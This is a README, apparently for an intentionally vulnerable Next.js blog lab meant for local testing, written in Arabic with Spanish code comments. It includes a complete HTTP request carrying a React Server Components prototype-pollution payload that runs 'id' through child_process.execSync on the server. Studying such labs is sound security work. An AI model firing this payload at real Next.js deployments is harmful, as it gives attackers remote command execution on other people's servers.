
مهم: مشروع Next JS قابل للاختراق أُنشئ فقط لأغراض تعليمية واختبارية واستغلالية، لا يُنصح بتثبيته في بيئة الإنتاج، فقط للبيئة المحلية أو بيئة خاضعة للرقابة.
مدونة حديثة وأنيقة مبنية باستخدام Next.js 16 وReact 19 وshadcn/ui وTailwind CSS.
مشروع Next.js قابل للاختراق أُنشئ فقط لأغراض تعليمية واختبارية واستغلالية، لا يُنصح بتثبيته في بيئة الإنتاج، بل فقط في النطاق المحلي أو بيئة خاضعة للتحكم
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
npm install
# o
yarn install
# o
pnpm install
npm run dev
# o
yarn dev
# o
pnpm dev
├── app/ # Páginas de Next.js
│ ├── blog/[id]/ # Página de detalle del blog
│ ├── profile/ # Página de perfil
│ ├── layout.tsx # Layout principal
│ └── page.tsx # Página principal
├── components/ # Componentes React
│ ├── auth/ # Componentes de autenticación
│ ├── blog/ # Componentes del blog
│ ├── layout/ # Componentes de layout
│ └── ui/ # Componentes shadcn/ui
├── lib/ # Utilidades y servicios
│ ├── auth.ts # Servicio de autenticación
│ ├── mocks.ts # Datos mock
│ └── utils.ts # Utilidades generales
└── public/ # Archivos estáticos
جميع البيانات (المدونات، المستخدمون، التفاعلات) هي Mock بالكامل وتُولَّد ديناميكيًا. لا يتطلب الأمر قاعدة بيانات.
هذا المشروع مخصص للأغراض التعليمية فقط.